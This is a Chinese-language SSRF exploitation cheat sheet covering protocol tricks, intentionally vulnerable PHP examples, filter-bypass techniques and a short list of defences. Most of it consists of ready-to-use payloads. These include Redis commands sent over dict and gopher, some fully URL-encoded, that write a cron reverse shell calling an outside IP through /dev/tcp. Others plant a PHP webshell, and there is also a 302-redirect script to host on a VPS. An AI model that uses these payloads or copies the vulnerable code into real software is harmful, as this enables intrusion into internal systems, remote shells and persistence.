SSRF漏洞

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞

SSRF 漏洞的产生原因是服务端提供了能够从其他服务器应用获取数据的功能

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

漏洞原理

服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤限制。

SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器

PHP使用的协议

协议 说明 格式
http web端口访问 url=http://127.0.0.1:8080
https web端口访问 url=https://127.0.0.1:8080
file 本地文件传输 url=file:///C:/windows/win.ini
dict 字典协议 url=dict://127.0.0.1:3306
sftp SSH文件传输协议 url=sftp://test.com:9999/ nc -lvp 9999
tftp 文件传输协议 url=tftp://test.com:9999/TESTUDPPACKET nc -lvp 9999
ldap 目录访问协议 url=ldap://test.com:9999/%0astats%0aquit nc -lvp 9999
gopher 分布式文档传递 url=gopher://test.com:9999/_abc nc -lvp 9999

Java使用的协议

协议 说明 格式
http web端口访问 url=http://127.0.0.1:8080
https web端口访问 url=https://127.0.0.1:8080
file 本地文件传输 url=file:///C:/windows/win.ini
ftp 文件传输协议
mailto 邮件协议 url=mailto:xxx@qq.com?cc=xxx&body=hello
netdoc java自定义通信协议
jar 远程解压

HTTP,HTTPS协议

1
2
3
4
5
6
7
8
?url=http://127.0.0.1:8080
# 在redis写入shell
url=http://127.0.0.1:6379/test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.1/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

FILE协议

1
?url=file:///C:/windows/win.ini

DICT协议

1
2
3
4
5
6
7
?url=dict://127.0.0.1:3306
dict://<user-auth>@<host>:<port>/d:<word>
# dict在redis写入shell,需要对命令进行16进制编码
?url=dict://127.0.0.1:6379/set:shell:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.1/9999 0>&1\n\n"
?url=dict://127.0.0.1:6379/config:set:dir:/etc/
?url=dict://127.0.0.1:6379/config:set:dbfilename:crontab
?url=dict://127.0.0.1:6379/bgsave

gopher协议

在url中需要二次编码

1
2
?url=gopher://test.com:9999/_abc
test.com:$ nc -lvp 22

gopher协议通过redis写入shell

在url中需要二次编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 源指令
flushall
config set dir /var/www/html
config set dbfilename shell_sec.php
set 'webshell' '<?php phpinfo();?>'
save

# 转换指令
*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$13
shell_sec.php
*3
$3
set
$8
webshell
$18
<?php phpinfo();?>
*1
$4
save

# 一次编码
gopher:/127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%31%33%0d%0a%73%68%65%6c%6c%5f%73%65%63%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

gopher协议通过redis写入计划任务

在url中需要二次编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 源指令
flushall
config set dir /var/spool/cron
config set dbfilename shellcrontab
set shell "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1\n\n"
save

# 转换指令
*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron
*4
$6
config
$3
set
$10
dbfilename
$4
shellcrontab
*3
$3
set
$5
shell
$60
\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1\n\n
*1
$4
save

# 一次编码
gopher:/127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Ashellcrontab%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2460%0D%0A%5Cn%5Cn*%20*%20*%20*%20*%20/bin/bash%20-i%3E%26/dev/tcp/192.168.1.1/8888%200%3E%261%5Cn%5Cn%0D%0A*1%0D%0A%244%0D%0Asave

其他协议

1
2
3
4
5
6
7
?url=sftp://test.com:9999/
?url=dict://test.com:9999/
?url=tftp://test.com:9999/TESTUDPPACKET/
?url=ldap://test.com:9999/%0astats%0aquit
?url=gopher://test.com:9999/_abc

test.com:$ nc -lvp 22

漏洞特征

  • 分享:通过URL地址分享网页内容
  • 转码服务(手机适配)
  • 在线翻译(在翻译页面输入URL)
  • 图片的加载与下载
  • 图片,文章收藏功能
  • 未公开的API实现以及其他调用URL的功能
  • 邮件系统
  • 网站采集
  • 编码处理
  • 从URL关键字中寻找
    • share
    • wap
    • url
    • link
    • src
    • source
    • target
    • u
    • 3g
    • display
    • sourceURL
    • image
    • imageURL
    • domain
    • ……

漏洞验证

查找访问的资源地址,如果该地址类型为http://xxx.com/x?image=xxx

就可能存在SSRF漏洞

将xxx改为内网地址,如果返回1xx,2xx,说明改地址是存在的

漏洞利用

PHP函数

file_get_contents()

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
1
2
3
http://127.0.0.1/file_get_contents.php
post
url=http://127.0.0.1:3306

fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$host=$_GET['url'];
$port=$_GET['port'];
# fsockopen(主机名称,端口,错误号的接收变量,错误提示的接收变量,超时时间)
$fp = fsockopen($host,intval($port),$errno,$errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
# fwrite() 函数将内容写入一个打开的文件中
fwrite($fp,$out);
# 函数检查是否已到达文件末尾,文件末尾(EOF)
while (!feof($fp)){
echo fgets($fp,128);
}
fclose($fp);
}
?>
1
http://127.0.0.1/fsockopen.php?url=127.0.0.1&port=3306

curl_exec()

内网存在文件ssrf.php,代码存在漏洞

1
2
3
4
5
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
1
2
3
4
5
6
7
8
9
10
11
12
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
echo $url;
curl($url);
?>
1
2
3
4
5
6
# URL重定向
http://127.0.0.1/ssrf.php?url=http://www.baidu.com
http://127.0.0.1/ssrf.php?url=http://192.168.1.1/xxx

# 访问内网文件
http://127.0.0.1/ssrf.php?url=file:///C:/windows/win.ini

Java 函数

  • HttpClient
  • HttpClient.execute
  • HttpClient.executeMethod
  • HttpURLConnection
  • HttpURLConnection.connect
  • HttpURLConnection.getInputStream
  • URL
  • URL.openStream
  • HttpServletRequest
  • getParameter
  • Request
  • URLConnection
  • okhttp
  • BasicHttpEntityEnclosingRequest
  • DefaultBHttpClientConnection
  • BasicHttpRequest
  • URI

绕过方法

@绕过

1
http://www.baidu.com@10.10.10.10 相当于 http://10.10.10.10

IP地址转换绕过

例如192.168.0.1这个IP地址我们可以改写成

1
2
3
4
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A8000

短网址绕过

将网址放入转换短网址的网站进行转换

利用句号绕过

1
127。0。0。1 相当于 127.0.0.1

xip.io 绕过

xip.io是指向任意IP的域名

1
http://xxx.192.168.0.1.xip.io/ 相当于 192.168.0.1

加80绕过

1
?url=http://127.0.0.1:80

[::]绕过

1
?url=http://[::]:80  相当于 127.0.0.1:80

修改type类型

1
2
修改type=file 为 type=url
比如将图片上传处修改,将图片文件改为url,有可能会出发ssrf

符号改写

1
2
3
4
5
6
7
8
9
10
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用302跳转

把302转换的代码部署到vps上,然后去访问,就可跳转到内网中

1
2
3
4
5
6
7
8
9
10
<?php  
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
1
http://xxx.com/ssrf.php?url=http://xx/302.php?s=dict&i=127.0.0.1&port=6379&query=info

防御措施

  • 对URL中的特殊字符进行过滤
  • 禁止跳转
  • 禁用不需要的协议,仅允许HTTP和HTTPS请求
  • 设置白名单或者限制内网IP
  • 设置端口白名单
  • 判断URL重新向之后的地址
  • 过滤返回的详细信息